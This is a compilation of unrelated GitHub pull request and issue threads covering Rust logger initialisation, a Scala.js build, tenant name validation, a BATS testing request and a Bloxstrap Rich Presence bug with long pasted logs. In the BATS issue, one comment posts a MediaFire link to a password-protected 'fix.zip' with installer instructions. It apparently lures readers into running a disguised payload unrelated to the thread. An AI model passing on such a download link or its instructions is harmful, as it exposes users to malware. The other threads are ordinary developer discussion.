Init logger in a Python API library

PR fixes issue with logs absence in debug releases. The root cause is that ctor is not called when C API static library is built in debug configuration. I am calling init_logger manually from C library to fix it.
I opened https://github.com/mmastrac/rust-ctor/issues/280 to ask ctor author for help in investigation.

This change looks reasonable enough.  But I would like to hear what @mmastrac (ctor author) has to say about the root cause.  It looks like he's very responsive so my guess is we'll hear back soon.

Does it make sense to invent a persistent object for all Hyperon clients?  I.e. a runtime object that must be created to use the library?
I think we might need something like this to own the thread pool for a multi-threaded interpreter, and I was considering turning all symbol atoms into hashes for performance, and keeping the strings themselves in a central store.  Things like that.

Does it make sense to invent a persistent object for all Hyperon Rust clients?

Luke, do you have any examples of this used in mature Rust libraries?  Even with logger it definitely has drawbacks, for example one cannot properly configure logger from code from the very beginning. But maybe in Rust there is no other way when one need to initialize some global constant object before program started. For example it is the reason why reserved symbol atoms are const instead of static: because I didn't found an easy way to initialize them beforehand.
Anyway I would not create some global object which keeps all what we need at once. I would instead introduce specific APIs for each case and use it to initialize storages. For example address of the string could probably be used instead of its hash and it would not require a separate store. Thread pool could be a part of interpreter and initialized with its instance. Maybe there are cases where we cannot eliminate the global storage. So it is also interesting to see how this problem solved in mature Rust libraries.

TLDR: this change is good to merge, IMO.  But longer-term, I believe we should remove the logger init from the ctor hook, and try to put it somewhere else.
Many embedded language crates use a top-level runtime state object (often a singleton):

JavaScript (V8 engine): https://docs.rs/v8/0.73.0/v8/V8/fn.initialize.html
Python: https://pyo3.rs/main/features.html#features-for-embedding-python-in-rust
Lua https://docs.rs/mlua/0.8.9/mlua/#the-lua-object

However, I agree with you that a singleton might not be the best design.  All of those above examples are rust wrappers around projects with non-rust implementations, and their decision might have been involuntary, rather than a well-considered design choice.
I think the Lua case is the closest to what I have in mind.  There is a top-level object but it’s not a singleton.
Hyperon-experimental has the runner::Metta type, but the big difference is that it isn’t created first.  Instead, it is created with a Space (and a Tokenizer), which might involve a lot of work to create them in advance.  More generally, the current design lets the caller create Atoms and Spaces by themselves without reference to any runner object. (‘static lifetime)
This might end up limiting the optimization that are available to us - although we could solve it like V8 solves it, by creating wrappers for objects under the management of a runner (ie. something like https://docs.rs/v8/0.73.0/v8/trait.Handle.html)
Anyway, this is a bigger discussion, and I apologize for getting us off-topic with regard to logger initialization.  If we ultimately moved in this direction, top-level object creation would be a logical place to init the logger.
My final point about the logger is that running the initialization from ctor means that another app that wants to embed the MeTTa interpreter can’t initialize their own logger from their own main (if they wanted to use fern (https://docs.rs/fern/0.6.2/fern/) for example), because the MeTTa logger would be initialized first.  Therefore, my preference would be to give the caller an option to do stuff from main() before MeTTa installs its logger.

Thanks Luke, on the first glance Lua example is clear, but I think I need to look at the API of the library closer to understand how it works in details.
I am curious why Rust has a such restricted conception of a static read-only object.As far as I remember static can be initialized by const functions only and const functions mean one cannot allocate memory.

Merging it as a quickfix as this functionality is important, but I am ready to discuss a proper fix further.


Scala.js build

Is it something you consider?  I can probably work on a PR due to our need.

This is a great idea! I haven't had a close look at what it means to have a Scala.js build but I'd be happy to receive a PR for that.

the main obstacle I can see now is the test as we don't have a scala.js build for specs2 yet. I can probably only run test on the JVM for now.

Unfortunately I need to find some time to work on spec2#465.

I could use this right now, got a cross-compiled lib I'd like to spike porting to Eff...
What if we just ran the specs on the jvm branch for now, and mentioned in the docs that the scala.js build is "beta" ie not yet directly tested? From my experience of scala.js, I guess the kinds of things Eff does are unlikely to be problematic converted to js, since they're well away from platform details.


Fixed some exon protocol grammar

Commands end with a newline.
Singleton arguments are wrapped in quotes.

:heart:


Fix small typo in faq.md

Under "Other Languages" > "How do Rust traits compare to Haskell typeclasses?" foo and bar was mistyped as foo and boo :)

Thanks for the pull request, and welcome! The Rust team is excited to review your changes, and you should hear from @alexcrichton (or someone else) soon.
If any changes to this PR are deemed necessary, please add them as extra commits. This ensures that the reviewer can see what has changed since they last reviewed the code. Due to the way GitHub handles out-of-date commits, this should also make it reasonably obvious what issues have or haven't been addressed. Large or tricky changes may require several passes of review and changes.
Please see the contribution instructions for more information.

Thanks!


Automatically publicize imported Assembly-CSharp.dll

Publicizing assemblies is super handy when writing code and has no downsides so this should be done by default.

Will be included in MeatKit 1.1


feat: validate tenant name

What type of PR is this?
Features
What this PR does / why we need it:
Tenant name should be validated before they result in generation of unparsable namespaces
Which issue(s) this PR fixes:
Fixes #12
$ kubectl --context zoo apply -f bad-tenant.yaml
The Tenant "aasdf" is invalid: name: Invalid value: "aasdf": tenant ID must be exactly 6 characters

added tenant name specification in docs, ready to review now.


Feat: Add Tests Using BATS

Description:
Implement automated testing using BATS (Bash Automated Testing System) to validate the functionality of the script.
Tasks:

Create BATS test scripts to cover core functionalities (e.g., BED file processing, VCF normalization, filtering).
Integrate BATS tests into the CI workflow.

Benefit:
Ensures reliability and correctness of the script across different environments and scenarios.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Initial switch to new JBake based site.

Initial switch to new JBake based site - files in /content copied from output in /netbeans.apache.org/build/bake when building from master branch.

Great!


fix velero deployment script

@fbladilo can you confirm please whether this does or does not fix the velero deploy script for you? Thanks!

@jmontleon Much better , take a look :

Thanks, was just about to submit a PR to fix this, @jmontleon beat me to it.


Discord Rich Game Presense

Discord Rich Game Presence, seems to work on a fresh install of Bootstrap when it fully finishes the install.
When Roblox is closed after this the subsequent launches from both the 'Play Roblox' that was created on the desktop and from launching from Browser doesn't have the rich game presence anymore.
I've tested by doing back into add/remove programs and modifying Bootstrap by cycling the status activity both on/off. Opening Roblox, modifying again to off. And then once more back to on and it doesn't seem to fix.
What does fix is a full uninstall and reinstall, but as mentioned only the first launch will keep the rich game presence.
Steps to reproduce:

Install Bootstrap
Autolaunch on completion
Close game
Reopen game either from browser or 'Play Roblox' auto generated shortcut
No more rich game presense
Reinstall to fix and back to step 2.

Keep it installed, and launch Roblox again. If it doesn't show up, then send me Bloxstrap's latest log file from %localappdata%\Bloxstrap\logs.

I'm also having the same issue, here's my log.
2023-06-15T05:03:41Z [App::OnStartup] Starting Bloxstrap v2.3.0
2023-06-15T05:03:41Z [Logger::Logger] Initialized at \AppData\Local\Bloxstrap\Logs\Bloxstrap_20230615T050341Z.log
2023-06-15T05:03:41Z [JsonManager::Load] Loading JSON from \AppData\Local\Bloxstrap\Settings.json...
2023-06-15T05:03:42Z [JsonManager::Load] JSON loaded successfully!
2023-06-15T05:03:42Z [JsonManager::Load] Loading JSON from \AppData\Local\Bloxstrap\State.json...
2023-06-15T05:03:42Z [JsonManager::Load] JSON loaded successfully!
2023-06-15T05:03:42Z [JsonManager<Dictionary2>::Load] Loading JSON from <UserProfileFolder>\AppData\Local\Bloxstrap\Modifications\ClientSettings\ClientAppSettings.json... 2023-06-15T05:03:42Z [JsonManager<Dictionary2>::Load] JSON loaded successfully!
2023-06-15T05:03:42Z [App::OnStartup] Initializing bootstrapper
2023-06-15T05:03:42Z [App::OnStartup] Initializing bootstrapper dialog
2023-06-15T05:03:42Z [Bootstrapper::Run] Running bootstrapper
2023-06-15T05:03:42Z [Utilities::CheckIfProcessRunning] Checking if 'Bloxstrap' is running...
2023-06-15T05:03:42Z [Utilities::CheckIfProcessRunning] Found 1 process(es) running for 'Bloxstrap'
2023-06-15T05:03:42Z [Bootstrapper::CheckForUpdates] Checking for Bloxstrap updates...
2023-06-15T05:03:42Z [Utilities::GetJson] Getting JSON from https://api.github.com/repos/pizzaboxer/bloxstrap/releases/latest!
2023-06-15T05:03:42Z [Utilities::GetJson] Got JSON: {"url":"https://api.github.com/repos/pizzaboxer/bloxstrap/releases/101871609","assets_url":"https://api.github.com/repos/pizzaboxer/bloxstrap/releases/101871609/assets","upload_url":"https://uploads.github.com/repos/pizzaboxer/bloxstrap/releases/101871609/assets{?name,label}","html_url":"https://github.com/pizzaboxer/bloxstrap/releases/tag/v2.3.0","id":101871609,"author":{"login":"github-actions[bot]","id":41898282,"node_id":"MDM6Qm90NDE4OTgyODI=","avatar_url":"https://avatars.githubusercontent.com/in/15368?v=4","gravatar_id":"","url":"https://api.github.com/users/github-actions[bot]","html_url":"https://github.com/apps/github-actions","followers_url":"https://api.github.com/users/github-actions[bot]/followers","following_url":"https://api.github.com/users/github-actions[bot]/following{/other_user}","gists_url":"https://api.github.com/users/github-actions[bot]/gists{/gist_id}","starred_url":"https://api.github.com/users/github-actions[bot]/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github-actions[bot]/subscriptions","organizations_url":"https://api.github.com/users/github-actions[bot]/orgs","repos_url":"https://api.github.com/users/github-actions[bot]/repos","events_url":"https://api.github.com/users/github-actions[bot]/events{/privacy}","received_events_url":"https://api.github.com/users/github-actions[bot]/received_events","type":"Bot","site_admin":false},"node_id":"RE_kwDOHwd5os4GEm_5","tag_name":"v2.3.0","target_commitish":"main","name":"Bloxstrap v2.3.0","draft":false,"prerelease":false,"created_at":"2023-05-04T13:17:10Z","published_at":"2023-05-04T13:29:11Z","assets":[{"url":"https://api.github.com/repos/pizzaboxer/bloxstrap/releases/assets/106692224","id":106692224,"node_id":"RA_kwDOHwd5os4GW_6A","name":"Bloxstrap-v2.3.0-x64.exe","label":"","uploader":{"login":"github-actions[bot]","id":41898282,"node_id":"MDM6Qm90NDE4OTgyODI=","avatar_url":"https://avatars.githubusercontent.com/in/15368?v=4","gravatar_id":"","url":"https://api.github.com/users/github-actions[bot]","html_url":"https://github.com/apps/github-actions","followers_url":"https://api.github.com/users/github-actions[bot]/followers","following_url":"https://api.github.com/users/github-actions[bot]/following{/other_user}","gists_url":"https://api.github.com/users/github-actions[bot]/gists{/gist_id}","starred_url":"https://api.github.com/users/github-actions[bot]/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github-actions[bot]/subscriptions","organizations_url":"https://api.github.com/users/github-actions[bot]/orgs","repos_url":"https://api.github.com/users/github-actions[bot]/repos","events_url":"https://api.github.com/users/github-actions[bot]/events{/privacy}","received_events_url":"https://api.github.com/users/github-actions[bot]/received_events","type":"Bot","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":6933534,"download_count":41741,"created_at":"2023-05-04T13:23:34Z","updated_at":"2023-05-04T13:23:35Z","browser_download_url":"https://github.com/pizzaboxer/bloxstrap/releases/download/v2.3.0/Bloxstrap-v2.3.0-x64.exe"}],"tarball_url":"https://api.github.com/repos/pizzaboxer/bloxstrap/tarball/v2.3.0","zipball_url":"https://api.github.com/repos/pizzaboxer/bloxstrap/zipball/v2.3.0","body":"Oh hey! It's another one of those updates that I'm forced to release on short notice thanks to a major Roblox change. This time, Roblox has started rolling out the 64-bit/Hyperion update for everyone. It's no longer an A/B test. Though at the very least, I actually managed to mostly complete this one. Don't worry though, nothing major is missing. lol. Hopefully this is the last one of these hotfix updates.\r\n\r\nI'm treating this update as a full removal of 32-bit support and features. Yes, there are channels that still have 32-bit Roblox, but these are due to be updated within about a week. It's not worth still supporting it at this point.\r\n \r\n- 32-bit builds of Bloxstrap have now been completely dropped. I think you can imagine why.\r\n- The ReShade integration has now been removed, as it does not work with the new 64-bit game client. It's finally over. Thank you to @Extravi and @bituq for helping me try to work this out.\r\n- If you have server details notifications enabled, you can now copy the server's job ID by clicking on the notification. (suggested by @vydf_)\r\n- You can now choose to ignore automatic channel changes completely. If you previously had this configured, you will have to reconfigure it. (#166)\r\n- Bloxstrap now has a notification area icon that shows whenever its running. (context menu options soon?)\r\n-  Old log files are now automatically cleaned up. (suggested by @bluepilledgreat)\r\n- FastFlag management is now separated from the Mods tab, as it's grown big enough to become its own thing.\r\n- You can now choose to force Future or Voxel lighting technology in all games. (thanks @EasternBloxxer!)\r\n- The time playing stat shown on Discord Rich Presence now persists through server teleports within the same game.\r\n- Fixed a bug with Discord Rich Presence not working with single letter game names.\r\n- Fixed a bug with Direct3D 11 incorrectly being enforced when choosing a rendering mode. (#162)\r\n- Free disk space is now checked depending on how much exact space is actually needed. (suggested by @apprehensions)\r\n- Bloxstrap should no longer crash for some users when attempting to load the user interface. (#170, #173)\r\n- Oh yeah, this update features a logo refresh! (thanks again to Multako for helping me out)\r\n\r\nBy the way, I'd like to thank all of you who've recently discovered and started using Bloxstrap. Never thought I'd see a single release get more than 10K downloads!","reactions":{"url":"https://api.github.com/repos/pizzaboxer/bloxstrap/releases/101871609/reactions","total_count":87,"+1":18,"-1":0,"laugh":0,"hooray":22,"confused":0,"heart":20,"rocket":13,"eyes":14},"mentions_count":5}
2023-06-15T05:03:42Z [Bootstrapper::CheckForUpdates] No updates found
2023-06-15T05:03:42Z [Bootstrapper::SetStatus] Connecting to Roblox...
2023-06-15T05:03:42Z [RobloxDeployment::GetInfo] Getting deploy info for channel LIVE (timestamp=False)
2023-06-15T05:03:42Z [RobloxDeployment::GetInfo] Got JSON: {"version":"0.578.0.5780566","clientVersionUpload":"version-21bedf9513a74867","bootstrapperVersion":"1, 6, 0, 5780566"}
2023-06-15T05:03:42Z [DeployManager::DefaultBaseUrl.Set] Testing connection to 'https://setup.rbxcdn.com'...
2023-06-15T05:03:43Z [DeployManager::DefaultBaseUrl.Set] Connection successful!
2023-06-15T05:03:43Z [Utilities::CheckIfProcessRunning] Checking if 'RobloxPlayerBeta' is running...
2023-06-15T05:03:43Z [Utilities::CheckIfProcessRunning] Found 0 process(es) running for 'RobloxPlayerBeta'
2023-06-15T05:03:43Z [FastFlagManager::Save] Attempting to save JSON to \AppData\Local\Bloxstrap\Modifications\ClientSettings\ClientAppSettings.json...
2023-06-15T05:03:43Z [JsonManager<Dictionary2>::Load] Loading JSON from <UserProfileFolder>\AppData\Local\Bloxstrap\Modifications\ClientSettings\ClientAppSettings.json... 2023-06-15T05:03:43Z [JsonManager<Dictionary2>::Load] JSON loaded successfully!
2023-06-15T05:03:43Z [FastFlagManager::Save] No changes to apply, aborting.
2023-06-15T05:03:43Z [Bootstrapper::SetStatus] Applying Roblox modifications...
2023-06-15T05:03:43Z [Bootstrapper::ApplyModifications] Checking executable flags...
2023-06-15T05:03:43Z [Bootstrapper::ApplyModifications] Checking file mods...
2023-06-15T05:03:43Z [JsonManager::Save] Attempting to save JSON to \AppData\Local\Bloxstrap\State.json...
2023-06-15T05:03:43Z [JsonManager::Save] JSON saved!
2023-06-15T05:03:43Z [Bootstrapper::StartRoblox] Checking install
2023-06-15T05:03:43Z [JsonManager::Save] Attempting to save JSON to \AppData\Local\Bloxstrap\Settings.json...
2023-06-15T05:03:43Z [JsonManager::Save] JSON saved!
2023-06-15T05:03:43Z [JsonManager::Save] Attempting to save JSON to \AppData\Local\Bloxstrap\State.json...
2023-06-15T05:03:43Z [JsonManager::Save] JSON saved!
2023-06-15T05:03:43Z [Bootstrapper::SetStatus] Starting Roblox...
2023-06-15T05:03:43Z [Bootstrapper::StartRoblox] Started Roblox (PID 15752)
2023-06-15T05:03:43Z [Bootstrapper::StartRoblox] Using Discord Rich Presence
2023-06-15T05:03:43Z [Bootstrapper::StartRoblox] Using server details notifier
2023-06-15T05:03:43Z [DiscordRichPresence::DiscordRichPresence] Established connection with Discord RPC
2023-06-15T05:03:44Z [DiscordRichPresence::DiscordRichPresence] Received ready from user ftgw<PHONE_NUMBER>29666048)
2023-06-15T05:03:46Z [RobloxActivity::StartWatcher] Opening Roblox log file...
2023-06-15T05:03:46Z [RobloxActivity::StartWatcher] Opened 0.578.0.5780566_20230615T050345Z_Player_27DC5_last.log
2023-06-15T05:03:46Z [Bootstrapper::StartRoblox] Waiting for Roblox to close
2023-06-15T05:03:48Z [RobloxActivity::ExamineLogEntry] Read 50 log entries
2023-06-15T05:03:51Z [RobloxActivity::ExamineLogEntry] Read 100 log entries
2023-06-15T05:03:53Z [RobloxActivity::ExamineLogEntry] Joining Game<PHONE_NUMBER>/63f394cb-f490-41df-aae8-b3e8928b17e6/<IP_ADDRESS>)
2023-06-15T05:03:53Z [RobloxActivity::ExamineLogEntry] Server is UDMUX protected<PHONE_NUMBER>/63f394cb-f490-41df-aae8-b3e8928b17e6/<IP_ADDRESS>)
2023-06-15T05:03:54Z [RobloxActivity::ExamineLogEntry] Joined Game<PHONE_NUMBER>/63f394cb-f490-41df-aae8-b3e8928b17e6/<IP_ADDRESS>)
2023-06-15T05:03:54Z [RobloxActivity::ExamineLogEntry] Read 150 log entries
2023-06-15T05:03:54Z [ServerNotifier::Notify] Getting server information for <IP_ADDRESS>
2023-06-15T05:03:54Z [DiscordRichPresence::SetPresence] Setting presence for Place ID<PHONE_NUMBER>
2023-06-15T05:03:54Z [Utilities::GetJson] Getting JSON from https://apis.roblox.com/universes/v1/places/6447833317/universe!
2023-06-15T05:03:54Z [Utilities::GetJson] Got JSON: {"universeId":2404100293}
2023-06-15T05:03:54Z [DiscordRichPresence::SetPresence] Got Universe ID as<PHONE_NUMBER>
2023-06-15T05:03:54Z [Utilities::GetJson<ApiArrayResponse1>] Getting JSON from https://games.roblox.com/v1/games?universeIds=2404100293! 2023-06-15T05:03:54Z [ServerNotifier::Notify] Location: Dallas, Texas, US\nClick to copy Job ID 2023-06-15T05:03:54Z [Utilities::GetJson<ApiArrayResponse1>] Got JSON: {"data":[{"id":2404100293,"rootPlaceId":6447833317,"name":"Voice Cafe","description":"😋 Welcome to Voice Cafe!  \n𝙈𝘼𝙅𝙊𝙍 𝙐𝙋𝘿𝘼𝙏𝙀𝙎 𝙎𝙊𝙊𝙉\n\n💬 Chill with friends inside the Cafe or anywhere! \n😆 Meet new people!\n😴 Earn levels and points just by playing the game!\n💁♂ Be the cafe employee! Anyone can work!\n\n👌 - NOTICE \nThis experience is only available to users who have the Voice Chat feature enabled on your account. \nAnyone who joins and doesn't have the feature enabled will be teleported to the Non Voice-Chat server.","sourceName":null,"sourceDescription":null,"creator":{"id":52658123,"name":"twowordsbraden","type":"User","isRNVAccount":false,"hasVerifiedBadge":false},"price":null,"allowedGearGenres":["RPG"],"allowedGearCategories":[],"isGenreEnforced":true,"copyingAllowed":false,"playing":0,"visits":279335,"maxPlayers":15,"created":"2021-02-26T17:19:55.317Z","updated":"2023-06-15T02:59:53.8688914Z","studioAccessToApisAllowed":false,"createVipServersAllowed":false,"universeAvatarType":"PlayerChoice","genre":"RPG","isAllGenre":false,"isFavoritedByUser":false,"favoritedCount":455}]}
2023-06-15T05:03:54Z [DiscordRichPresence::SetPresence] Got Universe details
2023-06-15T05:03:54Z [Utilities::GetJson<ApiArrayResponse1>] Getting JSON from https://thumbnails.roblox.com/v1/games/icons?universeIds=2404100293&returnPolicy=PlaceHolder&size=512x512&format=Png&isCircular=false! 2023-06-15T05:03:54Z [Utilities::GetJson<ApiArrayResponse1>] Got JSON: {"data":[{"targetId":2404100293,"state":"Completed","imageUrl":"https://tr.rbxcdn.com/9a46d454273eec24134e793ba20bee68/512/512/Image/Png"}]}
2023-06-15T05:03:54Z [DiscordRichPresence::SetPresence] Got Universe thumbnail as https://tr.rbxcdn.com/9a46d454273eec24134e793ba20bee68/512/512/Image/Png
2023-06-15T05:03:56Z [DiscordRichPresence::DiscordRichPresence] Updated presence

Testing email
On Thu, Jun 15, 2023 at 1:05 AM BLAMEITONBRADEN @.***>
wrote:

I'm also having the same issue, here's my log.
2023-06-15T05:03:41Z [App::OnStartup] Starting Bloxstrap v2.3.0
2023-06-15T05:03:41Z [Logger::Logger] Initialized at
\AppData\Local\Bloxstrap\Logs\Bloxstrap_20230615T050341Z.log
2023-06-15T05:03:41Z [JsonManager::Load] Loading JSON from
\AppData\Local\Bloxstrap\Settings.json...
2023-06-15T05:03:42Z [JsonManager::Load] JSON loaded successfully!
2023-06-15T05:03:42Z [JsonManager::Load] Loading JSON from
\AppData\Local\Bloxstrap\State.json...
2023-06-15T05:03:42Z [JsonManager::Load] JSON loaded successfully!
2023-06-15T05:03:42Z [JsonManager::Load] Loading JSON from
\AppData\Local\Bloxstrap\Modifications\ClientSettings\ClientAppSettings.json...
2023-06-15T05:03:42Z [JsonManager::Load] JSON loaded
successfully!
2023-06-15T05:03:42Z [App::OnStartup] Initializing bootstrapper
2023-06-15T05:03:42Z [App::OnStartup] Initializing bootstrapper dialog
2023-06-15T05:03:42Z [Bootstrapper::Run] Running bootstrapper
2023-06-15T05:03:42Z [Utilities::CheckIfProcessRunning] Checking if
'Bloxstrap' is running...
2023-06-15T05:03:42Z [Utilities::CheckIfProcessRunning] Found 1
process(es) running for 'Bloxstrap'
2023-06-15T05:03:42Z [Bootstrapper::CheckForUpdates] Checking for
Bloxstrap updates...
2023-06-15T05:03:42Z [Utilities::GetJson] Getting JSON from
https://api.github.com/repos/pizzaboxer/bloxstrap/releases/latest!
2023-06-15T05:03:42Z [Utilities::GetJson] Got JSON: {"url":"
https://api.github.com/repos/pizzaboxer/bloxstrap/releases/101871609","assets_url":"https://api.github.com/repos/pizzaboxer/bloxstrap/releases/101871609/assets","upload_url":"https://uploads.github.com/repos/pizzaboxer/bloxstrap/releases/101871609/assets{?name,label}","html_url":"https://github.com/pizzaboxer/bloxstrap/releases/tag/v2.3.0","id":101871609,"author":{"login":"github-actions[bot]","id":41898282,"node_id":"MDM6Qm90NDE4OTgyODI=","avatar_url":"https://avatars.githubusercontent.com/in/15368?v=4","gravatar_id":"","url":"https://api.github.com/users/github-actions[bot]","html_url":"https://github.com/apps/github-actions","followers_url":"https://api.github.com/users/github-actions[bot]/followers","following_url":"https://api.github.com/users/github-actions[bot]/following{/other_user}","gists_url":"https://api.github.com/users/github-actions[bot]/gists{/gist_id}","starred_url":"https://api.github.com/users/github-actions[bot]/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github-actions[bot]/subscriptions","organizations_url":"https://api.github.com/users/github-actions[bot]/orgs","repos_url":"https://api.github.com/users/github-actions[bot]/repos","events_url":"https://api.github.com/users/github-actions[bot]/events{/privacy}","received_events_url":"https://api.github.com/users/github-actions[bot]/received_events","type":"Bot","site_admin":false},"node_id":"RE_kwDOHwd5os4GEm_5","tag_name":"v2.3.0","target_commitish":"main","name":"Bloxstrap
https://api.github.com/repos/pizzaboxer/bloxstrap/releases/101871609","assets_url":"https://api.github.com/repos/pizzaboxer/bloxstrap/releases/101871609/assets","upload_url":"https://uploads.github.com/repos/pizzaboxer/bloxstrap/releases/101871609/assets{?name,label}","html_url":"https://github.com/pizzaboxer/bloxstrap/releases/tag/v2.3.0","id":101871609,"author":{"login":"github-actions[bot]","id":41898282,"node_id":"MDM6Qm90NDE4OTgyODI=","avatar_url":"https://avatars.githubusercontent.com/in/15368?v=4","gravatar_id":"","url":"https://api.github.com/users/github-actions[bot]","html_url":"https://github.com/apps/github-actions","followers_url":"https://api.github.com/users/github-actions[bot]/followers","following_url":"https://api.github.com/users/github-actions[bot]/following{/other_user}","gists_url":"https://api.github.com/users/github-actions[bot]/gists{/gist_id}","starred_url":"https://api.github.com/users/github-actions[bot]/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github-actions[bot]/subscriptions","organizations_url":"https://api.github.com/users/github-actions[bot]/orgs","repos_url":"https://api.github.com/users/github-actions[bot]/repos","events_url":"https://api.github.com/users/github-actions[bot]/events{/privacy}","received_events_url":"https://api.github.com/users/github-actions[bot]/received_events","type":"Bot","site_admin":false},"node_id":"RE_kwDOHwd5os4GEm_5","tag_name":"v2.3.0","target_commitish":"main","name":"Bloxstrap
v2.3.0","draft":false,"prerelease":false,"created_at":"2023-05-04T13:17:10Z","published_at":"2023-05-04T13:29:11Z","assets":[{"url":"
https://api.github.com/repos/pizzaboxer/bloxstrap/releases/assets/106692224
","id":106692224,"node_id":"RA_kwDOHwd5os4GW_6A","name":"Bloxstrap-v2.3.0-x64.exe","label":"","uploader":{"login":"github-actions[bot]","id":41898282,"node_id":"MDM6Qm90NDE4OTgyODI=","avatar_url":"
https://avatars.githubusercontent.com/in/15368?v=4
","gravatar_id":"","url":"
https://api.github.com/users/github-actions[bot]","html_url":"
https://github.com/apps/github-actions","followers_url":"
https://api.github.com/users/github-actions[bot]/followers
","following_url":"
https://api.github.com/users/github-actions[bot]/following{/other_user}
https://api.github.com/users/github-actions[bot]/following{/other_user}
","gists_url":"
https://api.github.com/users/github-actions[bot]/gists{/gist_id}
https://api.github.com/users/github-actions[bot]/gists{/gist_id}
","starred_url":"
https://api.github.com/users/github-actions[bot]/starred{/owner}{/repo}
https://api.github.com/users/github-actions[bot]/starred{/owner}{/repo}
","subscriptions_url":"
https://api.github.com/users/github-actions[bot]/subscriptions
","organizations_url":"
https://api.github.com/users/github-actions[bot]/orgs","repos_url":"
https://api.github.com/users/github-actions[bot]/repos","events_url":"
https://api.github.com/users/github-actions[bot]/events{/privacy}
https://api.github.com/users/github-actions[bot]/events{/privacy}
","received_events_url":"
https://api.github.com/users/github-actions[bot]/received_events
","type":"Bot","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":6933534,"download_count":41741,"created_at":"2023-05-04T13:23:34Z","updated_at":"2023-05-04T13:23:35Z","browser_download_url":"
https://github.com/pizzaboxer/bloxstrap/releases/download/v2.3.0/Bloxstrap-v2.3.0-x64.exe
"}],"tarball_url":"
https://api.github.com/repos/pizzaboxer/bloxstrap/tarball/v2.3.0","zipball_url":"https://api.github.com/repos/pizzaboxer/bloxstrap/zipball/v2.3.0","body":"Oh
hey! It's another one of those updates that I'm forced to release on short
notice thanks to a major Roblox change. This time, Roblox has started
rolling out the 64-bit/Hyperion update for everyone. It's no longer an A/B
test. Though at the very least, I actually managed to mostly complete
this one https://github.com/pizzaboxer/bloxstrap/issues/142. Don't
worry though, nothing major is missing. lol
https://twitter.com/boxerpizza/status/1654114412708364288. Hopefully
this is the last one of these hotfix updates.\r\n\r\nI'm treating this
update as a full removal of 32-bit support and features. Yes, there are
channels that still have 32-bit Roblox, but these are due to be updated
within about a week. It's not worth still supporting it at this point.\r\n
\r\n- 32-bit builds of Bloxstrap have now been completely dropped. I think
you can imagine why.\r\n- The ReShade integration has now been removed, as
it does not work with the new 64-bit game client. It's finally over. Thank
you to @Extravi https://github.com/Extravi and @bituq
https://github.com/bituq for helping me try to work this out.\r\n- If
you have server details notifications enabled, you can now copy the
server's job ID by clicking on the notification. (suggested by @vydf_
https://twitter.com/vydf_)\r\n- You can now choose to ignore automatic
channel changes completely. If you previously had this configured, you will
have to reconfigure it. (#166
https://github.com/pizzaboxer/bloxstrap/issues/166)\r\n- Bloxstrap now
has a notification area icon that shows whenever its running. (context menu
options soon?)\r\n- Old log files are now automatically cleaned up.
(suggested by @bluepilledgreat https://github.com/bluepilledgreat)\r\n-
FastFlag management is now separated from the Mods tab, as it's grown big
enough to become its own thing.\r\n- You can now choose to force Future or
Voxel lighting technology in all games. (thanks @EasternBloxxer
https://github.com/EasternBloxxer!)\r\n- The time playing stat shown on
Discord Rich Presence now persists through server teleports within the same
game.\r\n- Fixed a bug with Discord Rich Presence not working with single
letter game names.\r\n- Fixed a bug with Direct3D 11 incorrectly being
enforced when choosing a rendering mode. (#162
https://github.com/pizzaboxer/bloxstrap/issues/162)\r\n- Free disk
space is now checked depending on how much exact space is actually needed.
(suggested by @apprehensions https://github.com/apprehensions)\r\n-
Bloxstrap should no longer crash for some users when attempting to load the
user interface. (#170 https://github.com/pizzaboxer/bloxstrap/issues/170,
#173 https://github.com/pizzaboxer/bloxstrap/issues/173)\r\n- Oh yeah,
this update features a logo refresh! (thanks again to Multako
https://www.roblox.com/users/2485612194/profile for helping me
out)\r\n\r\nBy the way, I'd like to thank all of you who've recently
discovered and started using Bloxstrap. Never thought I'd see a single
release get more than 10K downloads!","reactions":{"url":"
https://api.github.com/repos/pizzaboxer/bloxstrap/releases/101871609/reactions","total_count":87,"+1":18,"-1":0,"laugh":0,"hooray":22,"confused":0,"heart":20,"rocket":13,"eyes":14},"mentions_count":5}
https://api.github.com/repos/pizzaboxer/bloxstrap/releases/101871609/reactions","total_count":87,"+1":18,"-1":0,"laugh":0,"hooray":22,"confused":0,"heart":20,"rocket":13,"eyes":14},"mentions_count":5}
2023-06-15T05:03:42Z [Bootstrapper::CheckForUpdates] No updates found
2023-06-15T05:03:42Z [Bootstrapper::SetStatus] Connecting to Roblox...
2023-06-15T05:03:42Z [RobloxDeployment::GetInfo] Getting deploy info for
channel LIVE (timestamp=False)
2023-06-15T05:03:42Z [RobloxDeployment::GetInfo] Got JSON:
{"version":"0.578.0.5780566","clientVersionUpload":"version-21bedf9513a74867","bootstrapperVersion":"1,
6, 0, 5780566"}
2023-06-15T05:03:42Z [DeployManager::DefaultBaseUrl.Set] Testing
connection to 'https://setup.rbxcdn.com'...
2023-06-15T05:03:43Z [DeployManager::DefaultBaseUrl.Set] Connection
successful!
2023-06-15T05:03:43Z [Utilities::CheckIfProcessRunning] Checking if
'RobloxPlayerBeta' is running...
2023-06-15T05:03:43Z [Utilities::CheckIfProcessRunning] Found 0
process(es) running for 'RobloxPlayerBeta'
2023-06-15T05:03:43Z [FastFlagManager::Save] Attempting to save JSON to
\AppData\Local\Bloxstrap\Modifications\ClientSettings\ClientAppSettings.json...
2023-06-15T05:03:43Z [JsonManager::Load] Loading JSON from
\AppData\Local\Bloxstrap\Modifications\ClientSettings\ClientAppSettings.json...
2023-06-15T05:03:43Z [JsonManager::Load] JSON loaded
successfully!
2023-06-15T05:03:43Z [FastFlagManager::Save] No changes to apply, aborting.
2023-06-15T05:03:43Z [Bootstrapper::SetStatus] Applying Roblox
modifications...
2023-06-15T05:03:43Z [Bootstrapper::ApplyModifications] Checking
executable flags...
2023-06-15T05:03:43Z [Bootstrapper::ApplyModifications] Checking file
mods...
2023-06-15T05:03:43Z [JsonManager::Save] Attempting to save JSON to
\AppData\Local\Bloxstrap\State.json...
2023-06-15T05:03:43Z [JsonManager::Save] JSON saved!
2023-06-15T05:03:43Z [Bootstrapper::StartRoblox] Checking install
